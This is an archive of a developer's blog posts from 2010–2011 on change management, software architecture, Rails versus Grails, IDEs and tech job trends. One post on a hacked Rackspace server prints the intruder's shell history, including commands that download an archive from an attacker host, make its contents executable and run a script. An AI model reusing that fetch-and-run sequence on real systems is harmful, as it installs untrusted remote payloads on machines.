What often happens is that these processes get focused on eliminating or mitigating the NEGATIVE aspects of change and very often ignore that changes also can have a POSITIVE aspect. In the end, many places end up crystallizing their process, it grows out of control, and it becomes difficult or impossible to create any change without the entire process breaking down.

Why does this happen?

I believe the the fundamental problem is that most organizations ignore the necessity of some sort of change management process (other than ad-hoc) until a dramatic event causes them to rethink their approach. Once this disaster happens, the positive aspects of the previously uncontrolled environment are oven overlooked to make sure they have limited the possibility of bad changes. They often very effectively create processes that bring safety by way of limited change.

Now, instead of making the mission something like "Facilitate positive changes by limiting the negative impact of bad changes", the focus is almost always on something more like "Limit bad changes by making more people be involved with the process". Once you look at the contrast and you can see that there is a "glass half full" approach and a "glass half empty" one. After years of "limiting change" being the driving force, many places end up in a situation where a simple change that could be done by one person in 5 minutes, ends up taking 2 hours spread across 5 teams and 10 people.

This illustrates the second, more insidious part of the problem. Change management processes often become a tool to distribute responsibility. While this can have a positive effect, often it leads to extra expense and time. For example, mandating that it takes two people to launch a nuclear weapon is probably a good thing, BUT, require two people to type a simple memo is probably not the best idea.

Here are a couple of simple ideas to fix this problem:

#1 Change the mission to focus on the positive aspect of change and relegate the negative aspect to a secondary role. Maybe change the name to "Change facilitation" instead of "Change Control".

#2 Take a realistic assessment of the cost of the existing change control process and fairly and objectively weight this cost against the cost of the negative thing you're trying to eliminate. Remember, don't just measure the time it takes to "fill out the request", there's the time to "PROPERLY fill out the request", time for "n" number of people to approve the request, time for someone to implement the request, time to review that the request was properly implemented. There's also the cost of the tool and it's maintenance (or worse yet, the cost of NOT maintaining it). Also be keenly away of the error rate for the existing process or system. I often see people who are shocked when, after assessing their process, they realize that they have a 25% error rate... often this means that a change takes 25% longer and costs 25% more than they originally expected.

#3 Take a realistic view of how much the missed opportunity costs are. At some point, delivering twice as much product may actually outweigh the cost of many catastrophic failures. After all, many organizations survive for years or decades with a bunch of cowboys who really want to do a good job.

#4 Don't be lulled into thinking a complicated highly ceremonious change control process is somehow superior to a simple uncomplicated solution. Often it's better to simply have good traceability and be able to clean up troublesome matters after the fact than it is to require multiple sign-offs and redundant/ineffective approvals for simple things that have negligible impact to your business.

In short, you should use your head and make sure that your change management process isn't getting in the way of being able to respond to business opportunities in a timely and effective manner.

The SIDPERS-3 boondoggle

2011-02-20T11:14:00.000-06:00

Status according to the military in 1998.

GAO report on SIDPERS3

success story from ada home.

In short, SIDPERS3 was an abysmal expensive piece of junk, but nobody would ever admit it because there was no mechanism to stop the machine.

anti-fragile software

2011-01-29T13:27:00.001-06:00

I recently watched a video of Nassim Taleb in which he explains the difference between anti-fragility and robustness in terms of economics and nature. A short explanation is that "anti-fragile" describes something that benefits from mistreatment as opposed to "robust" which describes something that can survive or tolerate mistreatment.

After thinking about this, I realized a big problem with software development is that we expend tremendous energy trying to make systems robust, but seem to give little or no thought to making them anti-fragile. To counter this problem, I thought I'd share a few ideas on how to make software development more anti-fragile.

#1 Embrace the idea that unexpected results can often be positive experiences. "Bugs" should be a thing of the past and should simply be observations about what the system does instead of an indictment of how poorly someone has implemented some other person's idea of how the software should function.

#2 Create a culture around facilitating change instead of trying to restrict it. Instead of having a "Change Management Process" or a "Change Control Process", have a "Change facilitation process". The focus should be on getting changes done, NOT restricting them.

#3 Avoid unecessary monocultures. Anybody with a lawn knows how difficult it is to keep out "non-grass" plants (otherwise known as weeds). In the same note, expending effort to keep every server and every desktop on the exact same platform is more effort than can ever be recouped. At runtime, it doesn't matter if your system uses ruby, python, linux, windows, and z Series, it just matters that it works and all the pieces can work together.

These are just a few ideas and as with any solution, there are negative consequences for attempting to pursue this path. What I wonder is, what other things can we do to make development more anti-fragile?

Is time a side effect of universal expansion?

2011-01-22T07:00:00.000-06:00

I'm admittedly an armchair scientist... I believe I was quoted at one point as saying "well special relativity is just a THEORY, so it could be wrong" which was met at the time with a snarl from someone who kinda knew that stuff better than me.

Here's my layman's question: What if our perception and measurement of time is simply is flawed and time is really a function of how much the universe has expanded? Put another way; assuming that universe is expanding at a (mostly) constant rate, might time not be an independent dimension, but simply derivable from the difference in size of the universe?

If this is actually true, then isn't time travel really a lot less complicated? Don't we immediately remove paradoxes like "if I go back in time and kill my father will I ever be born?".

What it might mean is that time is not really some thing that exists independent of the spacial dimensions, but is simply a function of an underlying effect we don't yet fully understand.

Any physicists out there who could explain how to prove/disprove this idea?

Your enterprise domain model should not be represented in code

2011-01-05T08:26:00.001-06:00

I blame Hibernate and Spring in the javaspace as well as a number of enterprise architecture astronauts who don't know how to communicate the difference between a conceptual model and a physical model (yeah, I'm probably one of them). Any number of java projects I've been on over the last 10 years or so seems to have followed what is now a fairly predictable anti-pattern. I'll call it the massively brittle domain model (MBDM).

The pattern goes like this: Build an java (C#?) data model representing all of the business "things" you think the business needs (extra points for spending a couple years building that). Usually this ends up being a funhouse mirror image of a bunch of relational database tables. Then you expose those objects via some sort of service layer, and build a binary package for all the clients to communicate with the business services. If you really want to make things complicated, use some sort of complicated xml serialization mechanism that requires configuration files or generating stubs and other fun stuff.

I can only imagine this working when the following are true: IF your domain model is perfect the first try, and IF your business doesn't change, and IF there is only one developer and IF there is only 1 server and IF there is only 1 client application.

Let me explain why this will not work in other situations:

First off, because the domain model is distributed as a binary package, the most typical pitfall is to rely on a serialization mechanism that fails the minute you change ANY of the domain entities. This essentially means that any project that uses your services will need to be recompiled every time someone changes the anything in the domain. This has the effect of coupling every client project to the back-end project. This causes a large amount of complexity in coordinating which version of the domain various clients need.

Second, because of #1 your development will inherently resist changes to the domain model. This means that you will descend into a serious of arguments with your business partner that essentially translate "we didn't model it that way and it's a fundamental change to our domain model which will break other systems".

Third, because of #1 and #2 coordinating which version of which domain entity you actually need will become a full time job. In addition, if you have multiple servers and services that are interconnected you will tie up multiple resources trying to keep things in sync.

If you find yourself in this mess, your first step is to remove the binary dependency. Note, this may be very difficult because invariably someone will have introduced secondary and ternary dependencies, most likely via the ubiquitous "utility" package that binds domain model to the binary service implementation. The key thing to do is to forget about the underlying database and binary representation when building services.

Put another way, build services around "things that need to get done and the information necessary to do it". While semantically, this means you will likely build a model for each service, that is better than trying to shoehorn everything into a one size fits all model of reality.

If you're building a new system and someone tells you they're going to build a "enterprise domain model" that "everybody can use" and it'll be "reusable", tell them it's probably a bad idea and point them to this blog post.

Making the MQ versus RPC decision

2010-12-28T12:47:00.024-06:00

Among many software architects and pundits, Message Queue solutions have a lot of press about being a highly scaleable solution in comparison with RPC based solutions. From what I can see, the biggest problem with most comparisons is that they start with the premise that one or the other of these two approaches is superior and then spend time trying to make a compelling argument why they are correct.

I'm going to throw my hat in the ring on this issue and offer a high level guide for folks who don't have the time or energy to dig into queuing theory or debate with ivory tower architects about the issue. You'll note that scaleability is not even a factor. This is deliberate as scaleable and performant solutions can be built using either pattern. There is an interesting performance comparison that seems to indicate that the performance characteristics are very similar for both approaches. I WILL point out that simple http-based RPC solutions DO have fewer middleware requirements and are almost universally accessible. Furthermore, I'll point out that it is entirely possible that a real world solution may need both.

In any event, some strong indicators you'll likely need an MQ based solution include:

I need multiple endpoints to subscribe to my message
I need durable messages that can be delivered even when the message destination is not running

From my perspective, if any of these are necessary, then some sort of MQ technology is probably appropriate. Certainly, if you try to build a custom solution to either of those problems, you're highly likely to be wasting your time.

On the other hand, some equally strong indicators that an RPC solution is probably your best choice:

I need clients to get an answer immediately
I need a very small footprint and performance and simplicity are more important than reliability

The first bullet is most important above, synchronous message queuing patterns (e.g. request/response) typically come with a lot of baggage that may be hurting both your performance AND your scaleability.

I've worked with a variety of solutions using MQ series, JMS providers, and Biztalk, used both appropriately and otherwise. In every case I can remember, if we had used the above guide, we would have had a better chance of picking a the most appropriate solution and also arrived at the conclusion more quickly.

My experience at Denny's and three rules for success

2010-12-26T08:34:00.000-06:00

I recently went out to breakfast with my family at our local Denny's restaurant. We arrived around 9:15am and there was a pretty "interesting" line of folks waiting to be seated. In retrospect this should have been an indicator that something was wrong and things were going to be slow.

We finally got seated and our server promptly brought menus and took our order, then we settled down and began waiting for our food. While waiting at out table, at least 6 other groups came in after us, were seated, ordered, got their food, and left.

After about 30 minutes, the greeter actively started telling people that the food was going to take from 30-90 minutes to prepare and people stopped being seated. In addition, while the greeter was saying this to new customers, our server kept telling us the food would be out "in just a little bit". By 11:00am, I was pretty irritated because our breakfast had turned into lunch and all the other places to eat in the area were now open (note, Denny's was NOT our first choice).

Finally our food arrived, we ate, and I had the dubious honor of talking to the manager about what went wrong. It turns out they only had one cook... normally this is a problem, but then they had a bunch of people show up, everyone panicked, and things went downhill fast. In effect, the entire attitude was that "it's not our fault"... unfortunately, I didn't really care who's fault it was or wasn't, I cared that I sat around for 1.5 hours waiting for some food I could have prepared myself in about 30 minutes.

This brings me to my three rules:

#1 When things get out of hand, tell your customers immediately. They are NOT going to be happier if you make them wait longer wondering what the heck is going on. Notice I didn't say "if". That's deliberate, I know "stuff" happens, reasonable people will get it.
#2 When things seem to be getting out of hand, adding another cook might not help. What seems to have happened in our case is that a few other employees tried to help the cook and screwed things up. Everyone started getting irritated, arguments started, and things started to spiral out of control.
#3 Treat your EXISTING customers as good or better than new ones. If they had approached me 30 minutes into the debacle and said "we're running a little slow, are you sure you want to stay, it might be another hour" I probably would have left. Yes, I would have been upset, but not nearly as upset as after waiting for 1.5 hours (with two kids under 5 by the way). Note, wireless companies, satellite, cable, and other companies could learn something about this too. I'm tired of wonderful deals for "new kids" and me getting substandard service because I'm already "hooked".

Rails, Grails, and convention over configuration

2010-12-22T07:11:00.001-06:00

Back in 2003 I wrote a quick application generator using turbine, java, and xml and published to sourceforge called thrust. It is extremely primitive by today's standards, but the important point is that is embraced the "convention over configuration" concept.

I now see a lot of folks jumping into rails/grails without really thinking about what it really means and what the proper application of these tools might be. For example, I see folks deciding that rails/grails is the best development environment for them to build an application, then subsequently decide to write custom code for every thing. While rails/grails are still really good development frameworks no matter what, in many regards deciding to override their default behavior instead of understanding the patterns and embracing them is selling the idea short.

In my experience, I see many software applications as a similar pattern applied to itself. Rails/Grails (and thrust) are designed to exploit this and enable an exponential speedup in development time as well as a reduction in apparent complexity. I say apparent complexity because it still exists, but the framework should absorb the essential complexity (the part you cannot get rid of) and hide it from the developer in most circumstances.

Lets use an example: Suppose you are writing an application with a collection of screens that allow you to edit some information in tables in a relation database. Using any of these three frameworks, you can define a template that all these screens should use and automagically generate a good starting point for most of your screens (CRUD) + directory listing per entity.

If for some reason, you have no need for CRUD or a listing, or if you aren't using a database... you might be using the wrong tool for the job. That's not to say that these frameworks are not useful in this context, but you might not be getting the value that you COULD have from it.

The internet is causing the world to shrink

2010-11-29T06:24:00.000-06:00

I was reading up on the history of communication here and had to pause at how quickly things are changing. From the invention of written communication (3500BC) until the invention of the optical semaphore (1793), instantaneous and lossless long distance communication has been limited to how far you can shout/see. The rate of communication outside that range was limited to a max of about 200miles per day (speed of a horseback rider).

This means, that for 5000 years it would take 1.5 days to send a message from Rome to Milan. Starting in 1793, this rate began to accelerate as a visual semaphore could drop that time significantly, but there was a huge amount of infrastructure to get this working. You needed towers, telescopes, and other things to make things work.

In the space of 40 years, the electric telegraph greatly lowered the cost of long distance near light speed communication. For remainder of the 19th century, wired telegraph and eventually wireless telegraph lower the cost of high speed and distant communication. While the actual transport happened at or near the speed of light, the encoding cost slowed things down. Wireless telegraph was FAST, but nobody really had that in their house so they had to walk to the telegraph office and have a specialist encode the message.

In the 20th century, the advent of in-home telephone and television enabled nearly instantaneous worldwide communication. In the 15+ years since WWW began, the actual speed of communication has somewhat maxed out. You can't get much faster than light and short of passing messages through the earth instead of around, you'll have to accept a few hundred milliseconds of latency. Effectively, the entire world is living together. What would have taken days, months, or even years to communication even 100 years ago, can now happen instantaneously.

This means that the communication barriers caused by geographic dispersion are now effectively gone. If you can get an Internet connection, you are within shouting distance of the entire world.

If IDE's Were Star Wars Characters

2010-11-28T10:37:00.002-06:00

Rational Application Developer

Jabba the Hutt - BIG, SLOW, but also somehow powerful. You don't want to get on the wrong side of this IDE as you will be frozen in IBM consulting carbonite and NEVER get anything done.

Netbeans

Luke Skywalker- The hero who wins against all odds. However, In the software development universe, Luke actually turns to the dark side and joins Darth Vader.

Visual Studio

Emperor Palpatine - Having harnessed the dark side of the force, more powerful than you can ever imagine.

Oracle JDeveloper

Darth Vader - In the software world, after having turned Luke to the Dark side, Darth Ellison and Luke rule the Galaxy as father and son.

TextMate

Han Solo - Always seems to be there at the right time to help you out of a bind. No aspirations to rule the universe, but knows how to "get things done".

Eclipse

Battle Droids - There are millions of these, but they're all centrally controlled by someone whose motivations may be suspect. In the software development world, battle droids are actually secretly controlled by Samuel the Hutt.

Delphi

Yoda - In the software universe, much like in the Star Wars universe, he may be a powerful Jedi, but he's dead.

IntelliJ

Obi wan Kenobi - Strong in the force, but for some reason he lives in obscurity on a desert planet. He and Joda live on in some mysterious way that we don't quite understand.

Notepad

An Ewok - Cute, might be actually useful, but do you seriously want to try and rule the universe as an Ewok?

Gedit

R2D2 - Very useful, behind the scenes kinda hero. Never going to rule the universe, but someone you certainly want to have around all times of possible.

Flash Builder

Padme Amidala - Not sure what to say here.

Others?

This is my list so far and I realize it isn't really complete. Comment and I'll try to update with your ideas...

Why you should purchase Intellij.

2010-11-27T07:47:00.000-06:00

Aside from supporting ruby, java, groovy, flex, and about a million other things, they actually have customer service. I don't mean "faceless mindless 3 levels of useless buearacracy" customer service, I mean "Holy crap, this guy WANTS to solve my problem" customer service.

Recently I sent a note to intellij about an annoying, but not SUPER critical problem, to RAD or WSAD users (or just about any other software package), tell me the last time you sent an email and got this sort of help from a real person.


Hello Michael,

Please define "crashes".


Serge Baranov
JetBrains, Inc
http://www.jetbrains.com
"Develop with pleasure!"

-----Original Message-----
From: "Michael Mainguy" 
Sent: Tuesday, November 23, 2010, 7:29:23 PM
To: feedback@jetbrains.com
Subject: IntelliJ IDEA 'Feedback'

Product: IntelliJ IDEA
Build: IU-95.627
OS: Windows

Name: Michael Mainguy
Country: United States
TimeZone: America/Chicago
Evaluator: true

> Are you generally satisfied with IntelliJ IDEA? How do you rate the product?
Generally yes, very good

> What features appear most useful? Are there any problems?
Yes, GWT 1.4 project crashes when I try to change project structure.

> Are there any features you'd like to have but did not find in IntelliJ IDEA?
Not yet.


!DSPAM:5,4cebebe5140651748229832!

Note, he emailed me at 10:31 the next morning when I sent my note at 7:30 pm the night before...

So I reply to him at 12:55


By crash, I mean I get a little popup with a stack trace that I can't seem to copy.  The IDE itself remains running and seems to not have any other problems.

Maybe crash is not the right word... but I'm the user so get to make vague overstatements right? ;)

If I could figure out how to get a copy of the stack trace I'd report a bug, but I'm busy fumbling along without the debugger for the time being. 
- Show quoted text -

I hit send, then turn to ask a coworker a question, when I turn back:


Hello Mike,

There should be blame button which will post stacktrace to us. Also
is should be possible to copy from this dialog by selecting text and
pressing ctrl+c.

Exception is also logged in
USERPROFILE\.IntelliJIdeaXX\system\log\idea.log (where XX is IDEA
version) or ~/Library/Logs/IntelliJIdea90/idea.log if you are on Mac.

Serge Baranov
JetBrains, Inc
http://www.jetbrains.com
"Develop with pleasure!"

I felt a little like Serge is the sneaky butler from Mr Deeds or at a minimum, a Jimmy Johns Delivery guy. In the next email exchange, he gave me some instructions on how to fix the problem (delete broken findbugs plugin metadata) and my issue was resolved.

The sad thing is that my expectations were so low, that actual customer service is seen as "over the top". I issue an open challenge to any owner of RAD to share a similar experience with customer support form IBM for their tool that costs over 10x more than mine. I won't even engage in a debate about the features of RAD versus IntelliJ since those are pretty subjective. After all, I've only met a handful of people who ever actually enjoyed working with RAD and most of them only used 10-15% of the "features" in the tool.

While I still use eclipse and actually like STS, Intellij Idea is so much more convenient and their customer service is so spectacular that I highly recommend it for anyone doing development in the java/ruby space. Just so we're clear, here's what intellij idea supports out of the box:Java, JavaScript, HTML/XHTML/CSS,
ActionScript/Flex/AIR, XML/XSL, Ruby/JRuby, Groovy, SQL, FreeMarker/Velocity, PHP.

In addition, it supports a number of other languages with plugins.

GWT is not a substitute for a web developer

2010-11-18T18:44:00.001-06:00

Web development is often hampered by the fact that there are a variety of web browser rendering engines as well as a variety of javascript interpreters. This means that a developer might have to recode the same web site 4-5 times to account for all the variations. When you couple that variation with the fact that new browsers are released and developed all the time, people started to realize that there needed to be a "one stop shop" to write your code and run it anywhere.

I suppose someone at google started down the GWT path because "write once run anywhere" has been Java's watchword almost since it's inception and a software holy grail since the 1970s. A basic problem with GWT is that it tries to give a java api for building screens which is alien for almost all web designers and front end developers. This means that there is an additional translation from "designer" world into "developer" world.

Recently had the pleasure to muddle through some GWT code and I don't really like what I see. For folks who don't know, GWT (I love TLAs) is tool that enables developing web front ends in pure java. This is done by running a custom compiler against java source code that outputs javascript. The cross platform capabilities get added in by generating 5 different javascript files, one for each browser platform you are targeting.

Because of this, some shops appear to try and co opt java developers and encourage them to build web front ends and this is NOT a good idea. Does this mean a good web designer or user interaction person who knows java (or visa versa) won't be able to make great things with it? Of course not.... But it does NOT mean that a band of capable back-end java developers will be able to suddenly developed a rock star web 4.0 interactive application because "they know java" and "we're using GWT".

GWT does NOT give java developers magical design abilities, nor does it somehow make a java backend developer able to write wicked fast javascript. It DOES enable a person who understands javascript and web design as WELL as java to build cross platform applications MUCH faster than they if they tried to do it themselves.

In conclusion, GWT certainly has it's place in a capable software developer's toolbox as a mechanism to build screens, but as a replacement for front end developers or some sort of attempt at replacing knowledge of how browsers work, it is a pretty bad idea.

Architecture and Scaling Cloud Applications

2010-11-16T07:22:00.000-06:00

OK, quickly, you've got a new app that has gone "off the charts", it's hosted on EC2 and you want to be able to scale in order to meet demand.

What do you do?

While this is a great situation, too often the answer technical people come up with is either:
#1 (customer answer) We need to get someone else to build this us, our IT guys don't know what they're doing.
#2a (developer answer) Rewrite the app in (erlang, scala, ruby, java, C#) because our code sucks and isn't scalable
#2b (developer answer) Switch to (Oracle, DB2, MySql, MongoDB, Terracotta, Spring, EJB3) because (Oracle, DB2, MySql, MongoDB, Terracotta, Spring, EJB3) doesn't scale well
#3a (infrastructure answer) We need to buy more EC2 instances and "scale out"
#3b (intrastructure answer) We need to bring it in-house and we'll get the biggest baddest server you can buy
#4 (architect answer) Where's the bottleneck?

OK, I know #4 isn't really an answer, but it illustrates the problem. The architect's job is to fully understand the problem and help guide discussion about what possible solutions are. I've met a lot of architects and usually can tell what their background is after a discussion like this. The well rounded folks will typically ask a lot of questions before jumping to a conclusion about the best answer. The folks who grew up in the business will choose #1, Developers #2, Infrastructure #3, and rarely you'll get a #4.

That having been said, the best answer is probably to get ahead of the problem and build scalability into your design. For dynamic web applications this means you should adopt the following positions:

#1 My application might be hosted on a laptop with an in memory database, or it might be hosted on 52 app servers with 12 database instances - my design shouldn't require large changes to accomodate either.
#2 My URL scheme matters (even down to DNS) and should reflect unique identities of resources that my application deals with (see REST AND use proper http verbs where applicable.
#3 Don't panic

So what does this really mean?

For one, the days of writing a J2EE app, and/or SOAP as the best way to do things are past. While J2EE can scale up easily and theoretically even scale out, it's just too dang expensive and difficult to get that to work well (unless you like throwing money at problems). Why?

First off, most J2EE containers (and applications) are designed around the idea that you have a big chunk of shared memory and multiple processors available. As an example, many of the shared resources rely on thread pooling. This has some serious drawbacks when you start getting into extremely high load. All those thread pools need overhead to manage each other's state and that management affects your entire application as all those CPUs start to melt down doing thread management activities.

Second, SOAP is basically a more web centric platform independent replacement for CORBA... Because of it's design, it requires a bit more work than simple URL parsing to be able to scale it. Add to this the problem of xml marshalling and you'll quickly devlolve into a big mess of performance and scalability problems.

These problems aren't the only ones, nor are they limited to J2EE and web services (.Net suffers from similar problems), but they are indicative of a bigger problem brewing in web application development and architecture. To get ahead of this, start thinking about what is is REALLY NECESSARY to run your application. It may be surprising how much extra "stuff" you've added in "just in case" that is not only hampering development tempo, but also potentially slowing you down at runtime.

Just enough math to be dangerous

2010-11-09T06:22:00.001-06:00

Next time you find yourself in a pointless argument with someone who "knows" statistics, remember the bottom statistic.

On the flipside, it took me at least 30 minutes of watching videos and reading explanations to figure out how it could even be possible to propel something directly downwind, faster than the wind, propelled only by the wind.

Cloudant couchdb is free

2010-11-03T08:38:00.001-05:00

I've been investigating methods of storing content online and ran across an interesting offering from cloudant. They offer a 2gb couchdb database for free. For folks who don't know, couchdb is a json/RESTful distributed document database. If you're trying to manage online content for a web application it has some interesting advantages over the competition.

The most interesting advantages to me are:

Native RESTful javascript/JSON API. The database itself uses http as the communication protocol
Inherent MVCC support. This means old versions of a document live after they've been updated
Built-in searching and materialized views. I can define some metadata about my content and instantly retrieve it

Some of the competition in this case would be:

While it turns out that S3 and MongoHQ both have free offerings, the online console at cloudant is the most user-friendly (as of this second).

Rails and grails package management

2010-10-27T15:34:00.002-05:00

Next on my agenda for comparing these two frameworks is package (aka dependency management). Up until the release of Rails3, I would say grails was the hand's down clear cut winner in this regard. Grails was engineered from VERY early on with the idea of dependency management being core to the framework. IMHO, this further illustrates how grails advanced the state of the art by sanding off some of the rough edges off of rails. If I were in charge of an IT department, I still think grails has a bit of an edge from a management perspective, but it does lose out a little in the flexibility department.

Ruby (via the gem mechnism) still suffers greatly from "gem hell" problems. Rails3 takes a step in the right direction by making bundler a core part of how applications are configured. Grails, on the other hand, is moving toward using maven as it's standard dependency management solution. In addition, grails has supported this for a number of years now and it works pretty well.

Where grails and maven suffer is that they are VERY opinionated. Unless you embed a jar directly in your project, it is very difficult to deviate from the "maven" way of packaging things. This means that building off a dev/snapshot package can be problematic (especially if you need to switch repositories often). Rails/Bundler on the other hand, while still pretty opinionated, let's you pick the method you want to pull your dependencies in. You can pull individual gems from git, some stuff from github, some stuff off your local machine. By embracing the culture of "everyone pitch in" they are offering the most flexible possible solution.

On the other hand, asking 3 people how to properly include a library in a rails project will likely net you 4-5 different answers. Grails, by contrast, will likely only get 2 answers...

Which of these two methods is better is left to you... I prefer the flexible approach of rails when developing software, but the more controlled mechanism of grails when maintaining software and infrastructure.

Rails and grails job scheduling

2010-10-26T06:56:00.000-05:00

In my continuing comparison of ruby on rails to groovy and grails I've discovered another big difference. Grails has excellent support for job scheduling, whereas the existing rails plugins are confusingly complicated.

In grails, to set up a job, install the quartz plugin


grails install-plugin quartz
grails create-job MyJob

and edit the new class called MyJob


class MyJob {
  static triggers = {
    simple name: 'mySimpleTrigger', startDelay: 60000, repeatInterval: 1000  
  }

def group = "MyGroup"

def execute(){ print "Job run!" } }

Done, you now have a job running inside your application running at a repeating interval. The pluging supports cron-like syntax as well as custom triggers.

Rails, on the other had (much like perl ;) has more than one way to do it. The biggest thing I notice is that most of the rails plugins either #1 require you to schedule a unix cron job example or #2 require you to run another ruby process to do the scheduling example. The fundamental difference is that the "ruby way" is to create a new process manually instead of forking a process or new thread in the initialization of your application (like the java/grails way).

Some other ways to do it from the rails wiki.

In short, background job scheduling is something that grails took a completely different approach with. By leveraging the quartz library and embracing all the multithreaded goodness that is a modern J2EE container, grails makes a compelling case for "this is the way you do it". Rails, on the other hand, for all it's "convention over configuration" talk, has a rats nest of confusing methods to accomplish a fairly routine and simple task.

The fundamental problem with this sort of activity in rails is that the underlying architecture isn't designed around the concept of a long running processes that service multiple simultaneous activities. In my head, this is a pretty important consideration when you start thinking about managing more than a simple CRUD application. The rails way is to essentially ignore this and let folks run amok building random plugins. The grails way is to treat this as a fundamental (though optional) part of building web applications.

Technology and programming trends

2010-10-25T09:46:00.001-05:00

As technologist, I'm always keeping my eyes on the market. There's nothing worse from a marketability perspective than being the best chariot wheel repairman when the entire world has moved on to automobiles. If you're going to be in a niche, you better be in one that is HIGHLY lucrative.

To this end, I took a look on indeed.com and tried to see how various programming languages stacked up as far as job postings.

java, ruby, groovy, c#, php, c, erlang, vb, delphi Job Trends

Java jobs - Ruby jobs - Groovy jobs - C# jobs - PHP jobs - C jobs - Erlang jobs - VB jobs - Delphi jobs

Obviously this is not comprehensive, but it shows what I "kinda" already knew. C is king, with java taking a large secondary position and C# following up behind java. One thing to note is that that largest percentage shown on that chart is 4%. This roughly means that the market is SO fragmented that a large leader only captures 4%. For the COBOL folks clinging on for dear life... Hopefully you're near retirement age because right now finding a COBOL job is going to be pretty difficult.

Now for a more interesting perspective. Let's rescale everything relative to what it's position was a few years ago and plot the numbers are percentage growth.

java, ruby, groovy, c#, php, c, erlang, vb, delphi, cobol Job Trends

Java jobs - Ruby jobs - Groovy jobs - C# jobs - PHP jobs - C jobs - Erlang jobs - VB jobs - Delphi jobs - Cobol jobs

Whoa! This paints an interesting picture. We see that a few new upstarts (erlang, ruby, and groovy) are taking off. Furthermore, we see that of those 3, ruby actually scores higher in absolute market than a lot of established players.

These charts, however only show a part of the picture. Right now, mobile, social media, and cloud technologies are just as important skills as purely using a particular programming language. In fact, the value of twitter (for exmample) is not really from the languages used (scala, ruby), but for the social effect gained by using the technology.

For the next group, I eliminated C just because it was so much higher than everything else, but also because a lot of C positions are for things that aren't really trending upward. So now let's look at a few "hot" technologies scored against some programming languages.

c#, java, twitter, facebook, cloud, android, iphone Job Trends

C# jobs - Java jobs - Twitter jobs - Facebook jobs - Cloud jobs - Android jobs - iPhone jobs

We can see that while the mobile/cloud/social space seems to not have broken too far into the market yet. However, when we look at growth.

c#, java, twitter, facebook, cloud, android, iphone Job Trends

C# jobs - Java jobs - Twitter jobs - Facebook jobs - Cloud jobs - Android jobs - iPhone jobs

We see that twitter (holy smokes) facebook, and iPhone are all growing exponentially upward. Now part of this is because they haven't been around very long, but if you take away the leaders and REALLY look at the numbers.

twitter, facebook, cloud, android, iphone, sharepoint Job Trends

Twitter jobs - Facebook jobs - Cloud jobs - Android jobs - iPhone jobs - Sharepoint jobs

We can see that, while the market is still relatively small, it is fairly large .6% (or roughly 1/6th that of the leader... C) and that coupled with large growth indicates to me that it might be a good place to be. Note, I added sharepoint to the second slide because I keep seeing postings for it and it DOES seem to have a nice position... It's growth, however is linear, and I'm more interested in the rate of increase of the growth for the time being.

I realize this isn't a highly scientific study and there are a ton of holes in the analysis, but the point is that things are starting to break free of the traditional "I'm a java guy" perspective and trending toward technologies that require integration. In addition, showing how small a market the leading language has, there is a compelling case to be made for being a polyglot.

Hacked Server on Rackspace

2010-10-21T19:52:00.000-05:00

Last month, I had a cloud server exploited and couldn't figure out how it happened. After a little investigation, I've got a good news bad news situation. The good news is that I DID manage to contact someone at rackspace who could help me out and they re-enabled my account.

The bad news is that the server wasn't pretty. On the upside it must have been hacked by a script kiddie as they did NOT cover their tracks very well at all. On the downside, they did NOT appear to have used the single user account I created and somehow entered through either the rackspace admin network (SPOOKY, inside job?) or one of the default services installed with Ubuntu 10.04 LTS (still not good)

From my root .bash_history, I noticed the following (the first few lines, may have been me):

exit w                                                                                                                     
w                                                                                                                      
passwd                                                                                                                  
cd /var/tmp                                                                                                             
la                                                                                                                      
wget hacker.go.ro/go.zip                                                                                                
unzip go.zip                                                                                                            
cd go                                                                                                                   
chmod +x *                                                                                                              
./go.sh 112                                                                                                             
cd /var/tmp                                                                                                             
cd go                                                                                                                 
chmod +x *                                                                                                            
./go.sh 220

In my /var/tmp/go directory I have a bunch of stuff that I'm looking at right now, but of specific interest are a couple of Chinese servers that appear to have been used in the heist.

In short, Rackspace did a good job during "normal business" hours of helping me out, but I certainly ran into a few pretty serious drawbacks. Notably:

#1 By default, servers are built and exposed to the internet immediately.
#2 There is no mechanism to set up mini DMZs or other ways to cordon off traffic, except through software controls (on servers that are already potentially p0wn3d).
#3 There is no weekend support as far as I can tell.

A big plus to having the server physically sitting on site is that, unless you get locked out of the server room, you can ALMOST always reboot the server from a CD and reinstall the OS. If your hosting provider decides to disable your cloud network console, you're kinda out of luck.

Overloaded terms in the Ruby community

2010-10-21T08:39:00.000-05:00

I've been refactoring some tests and changed them from using a global set of users/roles defined as fixtures to instead be factories.

OK, for java folks I'm going to give you the secret ruby decoder ring.

Fixtures = predefined data that you create by manually seeding via seed.rb
Factories = data generated via a factory method at runtime

It's interesting that the ruby community has decided to overload the meaning of these terms to be very specific. I say this because in the "rest of the world" when dealing with testing, a test fixture is a much more generic concept. Typically it is the thing that sets up the test and tears down the test. Yes, often it creates data, but that is not necessarily it's job.

Factories = This is a term that alludes to a well known and fundamental design pattern that can be used for a million different things and honestly has fallen out of vogue with java folks in favor of using dependency injection instead. It seems many folks think that using a factory to generate data for a test case has some inherent advantage over using pre-seeded global data (or other patterns). The primary advantage stated is that it moves the generation of the data closer to the thing being tested.

This is a very good reason, but it doesn't actually eliminate fixtures (generally speaking), it simply moves the fixture from a global scope into a more specific scope. The obvious downside to this is that for things that recur in multiple scopes, you are now repeating yourself.

Ruby on rails and groovy grails comparison

2010-10-20T04:32:00.021-05:00

As a person who has had the luxury to work in both ruby on rails and groovy grails, I've found a few differences that make their approach quite a bit different.

#1 Groovy allows you to write java. While this isn't a huge deal, it can be both a positive and a negative. I've worked on teams where folks treat grails as a super simple java framework and never leverage any of groovy's dynamic goodness. While this isn't a huge problem, it does delay (or eliminate) to transition from J2EE xml configuration file hell into a more dynamic way of coding.

#2 Ruby forces you to learn "the ruby way". For folks who are only used to java, seeing ruby code is like...seeing another language. Because of this, the idioms used in java are more quickly forgotten and you more quickly become a ruby native because you MUST. Only having worked with a few other people while they moved from java to ruby, I can only speak from my personal experience. I can say that ruby's syntax is not THAT much different as long as you keep an open mind, and I found I was able to more quickly learn the "ruby way" than I was able to learn the "groovy way" simply because I was FORCED to do it with ruby.

#3 Rails uses db migrations by default. This is a huge plus for db CRUD applications. It enables you to make sure you have a migration path from version to version of your code. Grails, on the other hand doesn't come with anything (by default) to handle this.

#4 Rails has a sparse model class definition. Should you NOT decide to use db migrations, you can simply create some tables in your database, create an empty ruby class, and begin using it. You don't need a class definition that matches the db table, because the fields are put on the class via introspection of the table. This then frees you to only implement business functionality on your model.

